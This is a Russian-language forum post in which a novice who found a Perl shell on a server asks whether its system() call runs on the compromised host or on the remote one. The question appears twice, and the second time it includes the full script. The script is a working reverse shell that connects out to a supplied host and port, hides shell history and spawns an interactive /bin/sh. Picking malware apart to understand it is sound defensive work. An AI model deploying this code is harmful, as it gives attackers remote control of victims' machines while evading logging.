r15b300
Новичок
Ещё один perl-овый шелл. Помогите разобрать..
Здравствуйте!
На днях пришлось столкнуться с очередным творением шеллописателей:
Моих скудных познаний в перле, конечно, хватило чтобы примерно понять, что он делает, но не могу разобраться - на каком сервере должно выполняться содержимое команды system() - на том, где был залит шелл (если так - то зачем тогда скрипту передавать хост и порт?) или на том, который передаётся параметром (смущают перенаправления потоков ввода и вывода)? Сейчас нахожусь в процессе нагугливания информации, но хотелось бы услышать мнение знающих людей.
Заранее спасибо!
Здравствуйте!
На днях пришлось столкнуться с очередным творением шеллописателей:
PHP:
#!/usr/bin/perl
use Socket;
$host = $ARGV[0];
$port = 8080;
if ($ARGV[1]) {
$port = $ARGV[1];
}
$proto = getprotobyname('tcp') || die("");
socket(SERVER, PF_INET, SOCK_STREAM, $proto) || die ("[0;31m[-] Socket Eror[0m\n\n");
my $target = inet_aton($host);
if (!connect(SERVER, pack "SnA4x8", 2, $port, $target)) {
die(":(");
}
if (!fork( )) {
open(STDIN,">&SERVER");
open(STDOUT,">&SERVER");
open(STDERR,">&SERVER");
system("unset HISTFILE; unset HISTSAVE ; uname -a ; id ; w ; echo \"[+] [0;32mTime to burn...[0m\";echo \"[+] [0;31mDo not fucking press Ctrl+C[0m\"; /bin/sh -i");
exit(0);
}
Моих скудных познаний в перле, конечно, хватило чтобы примерно понять, что он делает, но не могу разобраться - на каком сервере должно выполняться содержимое команды system() - на том, где был залит шелл (если так - то зачем тогда скрипту передавать хост и порт?) или на том, который передаётся параметром (смущают перенаправления потоков ввода и вывода)? Сейчас нахожусь в процессе нагугливания информации, но хотелось бы услышать мнение знающих людей.
Заранее спасибо!